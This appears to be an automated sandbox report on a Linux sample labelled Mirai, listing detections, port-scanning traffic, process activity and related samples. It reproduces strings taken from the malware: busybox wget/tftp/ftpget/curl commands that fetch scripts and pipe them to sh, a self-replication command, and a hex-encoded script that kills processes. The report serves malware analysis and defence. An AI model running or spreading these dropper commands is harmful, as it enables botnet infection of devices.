Edit tour

Linux Analysis Report
01EF8hZ6ib.elf

Overview

General Information

Sample name:	01EF8hZ6ib.elf renamed because original name is a hash value
Original sample name:	f86a498acb64f205545f7412bb0c72d1.elf
Analysis ID:	1432445
MD5:	f86a498acb64f205545f7412bb0c72d1
SHA1:	c1caf7f78b8d33f2f5867a5458d0572f9600a975
SHA256:	db52883f8dc68b274687a673caa11647c58e4cc61151f9af9d4a2ec0940f5feb
Tags:	32elfmirairenesas
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432445
Start date and time:	2024-04-27 06:20:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	01EF8hZ6ib.elf renamed because original name is a hash value
Original Sample Name:	f86a498acb64f205545f7412bb0c72d1.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/180@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/01EF8hZ6ib.elf
PID:	5435
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

01EF8hZ6ib.elf (PID: 5435, Parent: 5359, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/01EF8hZ6ib.elf

01EF8hZ6ib.elf New Fork (PID: 5437, Parent: 5435)

01EF8hZ6ib.elf New Fork (PID: 5439, Parent: 5437)

01EF8hZ6ib.elf New Fork (PID: 5443, Parent: 5437)

01EF8hZ6ib.elf New Fork (PID: 5444, Parent: 5437)

cleanup

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: 01EF8hZ6ib.elf	ReversingLabs: Detection: 55%
Source: 01EF8hZ6ib.elf	Virustotal: Detection: 37%			Perma Link

Source: unknown	TCP traffic detected without corresponding DNS query: 128.101.146.157
Source: unknown	TCP traffic detected without corresponding DNS query: 103.70.47.29
Source: unknown	TCP traffic detected without corresponding DNS query: 133.55.25.31
Source: unknown	TCP traffic detected without corresponding DNS query: 77.92.212.177
Source: unknown	TCP traffic detected without corresponding DNS query: 5.129.24.140
Source: unknown	TCP traffic detected without corresponding DNS query: 87.132.122.43
Source: unknown	TCP traffic detected without corresponding DNS query: 180.16.43.152
Source: unknown	TCP traffic detected without corresponding DNS query: 185.116.8.116
Source: unknown	TCP traffic detected without corresponding DNS query: 174.149.73.76
Source: unknown	TCP traffic detected without corresponding DNS query: 30.209.40.17
Source: unknown	TCP traffic detected without corresponding DNS query: 21.45.150.143
Source: unknown	TCP traffic detected without corresponding DNS query: 66.218.129.74
Source: unknown	TCP traffic detected without corresponding DNS query: 144.125.41.13
Source: unknown	TCP traffic detected without corresponding DNS query: 148.162.88.65
Source: unknown	TCP traffic detected without corresponding DNS query: 90.7.162.233
Source: unknown	TCP traffic detected without corresponding DNS query: 162.192.132.167
Source: unknown	TCP traffic detected without corresponding DNS query: 48.4.100.164
Source: unknown	TCP traffic detected without corresponding DNS query: 188.176.42.186
Source: unknown	TCP traffic detected without corresponding DNS query: 26.9.12.67
Source: unknown	TCP traffic detected without corresponding DNS query: 212.129.3.167
Source: unknown	TCP traffic detected without corresponding DNS query: 84.35.255.29
Source: unknown	TCP traffic detected without corresponding DNS query: 59.118.73.96
Source: unknown	TCP traffic detected without corresponding DNS query: 6.72.178.56
Source: unknown	TCP traffic detected without corresponding DNS query: 29.26.27.107
Source: unknown	TCP traffic detected without corresponding DNS query: 109.55.204.30
Source: unknown	TCP traffic detected without corresponding DNS query: 56.74.142.220
Source: unknown	TCP traffic detected without corresponding DNS query: 119.195.145.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.5.36.82
Source: unknown	TCP traffic detected without corresponding DNS query: 132.228.25.203
Source: unknown	TCP traffic detected without corresponding DNS query: 1.60.147.168
Source: unknown	TCP traffic detected without corresponding DNS query: 172.3.81.102
Source: unknown	TCP traffic detected without corresponding DNS query: 217.45.31.124
Source: unknown	TCP traffic detected without corresponding DNS query: 59.28.248.101
Source: unknown	TCP traffic detected without corresponding DNS query: 203.55.122.37
Source: unknown	TCP traffic detected without corresponding DNS query: 180.57.220.79
Source: unknown	TCP traffic detected without corresponding DNS query: 190.250.169.106
Source: unknown	TCP traffic detected without corresponding DNS query: 160.139.246.178
Source: unknown	TCP traffic detected without corresponding DNS query: 213.182.133.95
Source: unknown	TCP traffic detected without corresponding DNS query: 124.161.46.58
Source: unknown	TCP traffic detected without corresponding DNS query: 105.206.78.90
Source: unknown	TCP traffic detected without corresponding DNS query: 206.64.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 6.138.176.192
Source: unknown	TCP traffic detected without corresponding DNS query: 154.74.9.17
Source: unknown	TCP traffic detected without corresponding DNS query: 220.151.44.188
Source: unknown	TCP traffic detected without corresponding DNS query: 42.122.68.234
Source: unknown	TCP traffic detected without corresponding DNS query: 156.90.245.68
Source: unknown	TCP traffic detected without corresponding DNS query: 21.218.102.197
Source: unknown	TCP traffic detected without corresponding DNS query: 143.93.232.138
Source: unknown	TCP traffic detected without corresponding DNS query: 183.139.9.208
Source: unknown	TCP traffic detected without corresponding DNS query: 84.69.212.102

Source: 01EF8hZ6ib.elf	String found in binary or memory: http:///curl.sh
Source: 01EF8hZ6ib.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4T

Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5470/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5470/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5481/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5481/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5481/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5481/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5471/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5471/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5472/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5472/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5473/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5473/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5474/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5474/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5474/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5474/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5464/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5464/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5475/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5475/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5475/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5475/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5465/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5465/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5476/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5476/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5476/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5476/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5466/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5466/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5477/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5477/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5477/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5477/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5480/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5480/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5480/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5480/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5519/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5519/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5467/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5467/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5478/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5478/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5478/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5478/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5533/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5533/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5468/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5468/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5479/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5479/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5479/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5479/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5447/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5447/cmdline	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5469/maps	Jump to behavior
Source: /tmp/01EF8hZ6ib.elf (PID: 5443)	File opened: /proc/5469/cmdline	Jump to behavior

Source: 01EF8hZ6ib.elf, 5435.1.00007ffced149000.00007ffced16a000.rw-.sdmp, 01EF8hZ6ib.elf, 5439.1.00007ffced149000.00007ffced16a000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: 01EF8hZ6ib.elf, 5435.1.000055d278e75000.000055d278ed8000.rw-.sdmp, 01EF8hZ6ib.elf, 5439.1.000055d278e75000.000055d278ed8000.rw-.sdmp	Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: 01EF8hZ6ib.elf, 5435.1.000055d278e75000.000055d278ed8000.rw-.sdmp, 01EF8hZ6ib.elf, 5439.1.000055d278e75000.000055d278ed8000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4
Source: 01EF8hZ6ib.elf, 5435.1.00007ffced149000.00007ffced16a000.rw-.sdmp, 01EF8hZ6ib.elf, 5439.1.00007ffced149000.00007ffced16a000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/01EF8hZ6ib.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/01EF8hZ6ib.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
01EF8hZ6ib.elf	55%	ReversingLabs	Linux.Trojan.Mirai
01EF8hZ6ib.elf	37%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http:///curl.sh	0%	Avira URL Cloud	safe
http:///wget.sh	0%	Avira URL Cloud	safe

IP	Domain	Country	ASN	ASN Name	Malicious
209.8.122.112	unknown	United States	3491	BTN-ASNUS	false
33.235.2.68	unknown	United States	2686	ATGS-MMD-ASUS	false
184.63.30.33	unknown	United States	7155	VIASAT-SP-BACKBONEUS	false
67.107.105.7	unknown	United States	2828	XO-AS15US	false
163.33.238.98	unknown	United States	1659	ERX-TANET-ASN1TaiwanAcademicNetworkTANetInformationC	false
189.47.178.103	unknown	Brazil	27699	TELEFONICABRASILSABR	false
22.12.206.175	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.248.70.98	unknown	Netherlands	202374	PREWESTNL	false
198.28.138.125	unknown	United States	20402	OSRAM-SYLVANIAUS	false
60.165.32.172	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
81.81.224.140	unknown	Italy	3215	FranceTelecom-OrangeFR	false
152.226.241.65	unknown	Singapore	9292	TEMASEK-POLY-ASTemasekPolytechnicSingaporeSG	false
21.170.214.63	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
99.50.104.142	unknown	United States	7018	ATT-INTERNET4US	false
59.113.164.6	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
131.229.170.210	unknown	United States	396349	FIVE-COLLEGE-DATA-NETWORK-ASUS	false
71.221.225.69	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
171.105.92.33	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
196.41.58.243	unknown	Tanzania United Republic of	30844	LIQUID-ASGB	false
113.218.131.7	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
213.142.71.97	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
213.225.83.116	unknown	Norway	25400	TELIA-NORWAY-ASTeliaNorwayCoreNetworksNO	false
61.238.10.232	unknown	Hong Kong	9269	HKBN-AS-APHongKongBroadbandNetworkLtdHK	false
198.174.192.231	unknown	United States	5006	VOYANTUS	false
49.39.70.84	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
182.222.162.25	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
217.160.158.141	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
142.31.170.43	unknown	Canada	3633	PROVINCE-OF-BRITISH-COLUMBIACA	false
190.12.192.65	unknown	Argentina	22724	PUNTONETSAEC	false
176.224.172.201	unknown	Saudi Arabia	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
103.7.165.239	unknown	Australia	17477	MCT-SYDNEYMacquarieTelecomAU	false
50.8.153.30	unknown	United States	2686	ATGS-MMD-ASUS	false
210.30.239.185	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
90.176.111.176	unknown	Czech Republic	5610	O2-CZECH-REPUBLICCZ	false
35.222.36.61	unknown	United States	15169	GOOGLEUS	false
144.50.85.116	unknown	United States	600	OARNET-ASUS	false
2.222.184.196	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
189.227.215.140	unknown	Mexico	8151	UninetSAdeCVMX	false
218.62.115.18	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
162.82.176.166	unknown	United States	46620	WBH-ISC-ROUS	false
205.177.165.34	unknown	United States	3491	BTN-ASNUS	false
200.83.188.245	unknown	Chile	22047	VTRBANDAANCHASACL	false
95.44.182.140	unknown	Ireland	5466	EIRCOMInternetHouseIE	false
69.2.223.145	unknown	United States	13649	ASN-VINSUS	false
38.48.197.121	unknown	United States	174	COGENT-174US	false
159.63.81.38	unknown	United States	46887	LIGHTOWERUS	false
183.148.80.33	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
20.204.53.247	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
8.61.112.12	unknown	United States	3356	LEVEL3US	false
151.86.44.160	unknown	Italy	8217	ASN-ENIIT	false
11.25.67.167	unknown	United States	3356	LEVEL3US	false
74.113.245.240	unknown	United States	13823	MESH-NETUS	false
152.181.7.244	unknown	United States	701	UUNETUS	false
84.14.66.76	unknown	France	8220	COLTCOLTTechnologyServicesGroupLimitedGB	false
65.117.138.140	unknown	United States	1742	HARVARD-UNIVUS	false
90.233.60.159	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
12.170.33.90	unknown	United States	7018	ATT-INTERNET4US	false
48.221.71.193	unknown	United States	2686	ATGS-MMD-ASUS	false
98.249.234.69	unknown	United States	7922	COMCAST-7922US	false
203.54.90.46	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
149.174.102.177	unknown	United States	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
79.250.222.112	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
3.24.141.129	unknown	United States	16509	AMAZON-02US	false
71.235.36.150	unknown	United States	7922	COMCAST-7922US	false
142.31.170.26	unknown	Canada	3633	PROVINCE-OF-BRITISH-COLUMBIACA	false
109.138.114.73	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
175.122.135.255	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
170.143.77.13	unknown	United States	4454	TNET-ASUS	false
182.215.197.16	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
41.198.16.218	unknown	South Africa	36877	IWAY_AFRICAZA	false
92.80.39.202	unknown	Romania	9050	RTDBucharestRomaniaRO	false
48.69.16.86	unknown	United States	2686	ATGS-MMD-ASUS	false
125.242.176.130	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
162.82.176.182	unknown	United States	46620	WBH-ISC-ROUS	false
97.182.136.97	unknown	United States	6167	CELLCO-PARTUS	false
207.242.171.249	unknown	United States	7018	ATT-INTERNET4US	false
42.53.20.200	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
221.21.226.81	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
2.239.41.28	unknown	Italy	12874	FASTWEBIT	false
132.147.54.166	unknown	United States	11776	ATLANTICBB-JOHNSTOWNUS	false
77.248.144.168	unknown	Netherlands	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
75.168.14.217	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
166.19.1.190	unknown	United States	206	CSC-IGN-AMERUS	false
207.168.99.120	unknown	United States	4565	MEGAPATH2-US	false
201.62.120.137	unknown	Brazil	28573	CLAROSABR	false
49.192.247.77	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
30.28.184.76	unknown	United States	7922	COMCAST-7922US	false
23.92.113.19	unknown	Sweden	46805	AS-46805SE	false
137.243.115.93	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
57.197.52.141	unknown	Belgium	2686	ATGS-MMD-ASUS	false
195.113.134.11	unknown	Czech Republic	2852	CESNET2CZ	false
15.175.62.247	unknown	United States	71	HP-INTERNET-ASUS	false
132.123.170.76	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
85.232.242.86	unknown	Poland	24723	ATMAN-OFFICE-INTERNET-ASATMANPL	false
7.229.97.36	unknown	United States	3356	LEVEL3US	false
78.210.73.78	unknown	France	12322	PROXADFR	false
215.195.2.8	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
216.31.109.105	unknown	United States	7850	CITYLINKFIBERUS	false
60.144.208.93	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
185.71.144.205	unknown	Poland	262287	MaxihostLTDABR	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
184.63.30.33	mipsel-20230709-1715.elf	Get hash	malicious	Mirai	Browse
71.221.225.69	fL3XyDrYfF	Get hash	malicious	Mirai	Browse
171.105.92.33	muWLyuoSuB.elf	Get hash	malicious	Mirai	Browse
189.47.178.103	brZRQRhRpd	Get hash	malicious	Mirai	Browse
190.12.192.65	arm7	Get hash	malicious	Mirai	Browse
198.28.138.125	1P3n6G5Qkl	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
XO-AS15US	dwn1cGHIbV.elf	Get hash	malicious	Mirai	Browse	67.91.201.17
	8dToMPcvO1.elf	Get hash	malicious	Mirai	Browse	104.119.90.72
	oVOImRIAaz.elf	Get hash	malicious	Mirai	Browse	65.47.70.31
	sora.arm.elf	Get hash	malicious	Mirai	Browse	66.104.249.182
	sora.x86.elf	Get hash	malicious	Mirai	Browse	67.154.95.199
	CEPceaWQyI.elf	Get hash	malicious	Unknown	Browse	208.176.85.11
	SgtB2WW8ys.elf	Get hash	malicious	Mirai	Browse	67.89.180.229
	42EYULJ8y1.elf	Get hash	malicious	Mirai	Browse	67.92.26.105
	tajma.arm7-20240422-0539.elf	Get hash	malicious	Mirai, Okiru	Browse	216.22.232.5
	EgLiYySziA.elf	Get hash	malicious	Mirai, Okiru	Browse	67.107.106.177
ATGS-MMD-ASUS	4NnBaAMXoc.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	51.239.108.137
	sQSqM58mvl.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	50.8.128.49
	https://doc-42.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	34.149.254.14
	https://autode.sk/4bb5BeV	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	34.160.78.217
	https://url.us.m.mimecastprotect.com/s/qkT5Cv2pWyUOjZODty9fnF?domain=google.com	Get hash	malicious	Unknown	Browse	34.149.20.76
	http://www.mh3solaroh.com/	Get hash	malicious	HTMLPhisher	Browse	34.49.229.81
	WwKYOW4jIg.elf	Get hash	malicious	Mirai	Browse	48.27.158.173
	tw7rloKDkG.elf	Get hash	malicious	Mirai	Browse	48.231.233.104
	ZcOjro0Chh.elf	Get hash	malicious	Mirai	Browse	34.63.62.117
	dwn1cGHIbV.elf	Get hash	malicious	Mirai	Browse	32.240.8.128
VIASAT-SP-BACKBONEUS	NMdpQecbkg.elf	Get hash	malicious	Mirai	Browse	162.73.37.105
	KFGhPSUn9z.elf	Get hash	malicious	Mirai	Browse	99.196.212.69
	C4OTm1FW94.elf	Get hash	malicious	Mirai	Browse	75.106.34.186
	XIu2eKNZ8m.elf	Get hash	malicious	Mirai	Browse	184.63.161.139
	xgxLxAfjCG.elf	Get hash	malicious	Mirai	Browse	172.243.43.85
	JoaD4Dp71E.elf	Get hash	malicious	Mirai	Browse	162.74.16.109
	GuK1bgzDX6.elf	Get hash	malicious	Mirai	Browse	172.243.43.89
	PP8TgzRrpl.elf	Get hash	malicious	Mirai	Browse	99.197.81.14
	SecuriteInfo.com.Linux.Siggen.9999.31292.16574.elf	Get hash	malicious	Mirai	Browse	99.197.20.93
	l1sADDB043.elf	Get hash	malicious	Mirai	Browse	162.76.82.14
ERX-TANET-ASN1TaiwanAcademicNetworkTANetInformationC	0ar3q66pGv.elf	Get hash	malicious	Mirai	Browse	163.27.188.244
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	163.38.31.141
	wsskM49eA3.elf	Get hash	malicious	Unknown	Browse	140.134.200.162
	dI3tFWyJ6d.elf	Get hash	malicious	Mirai	Browse	163.39.10.145
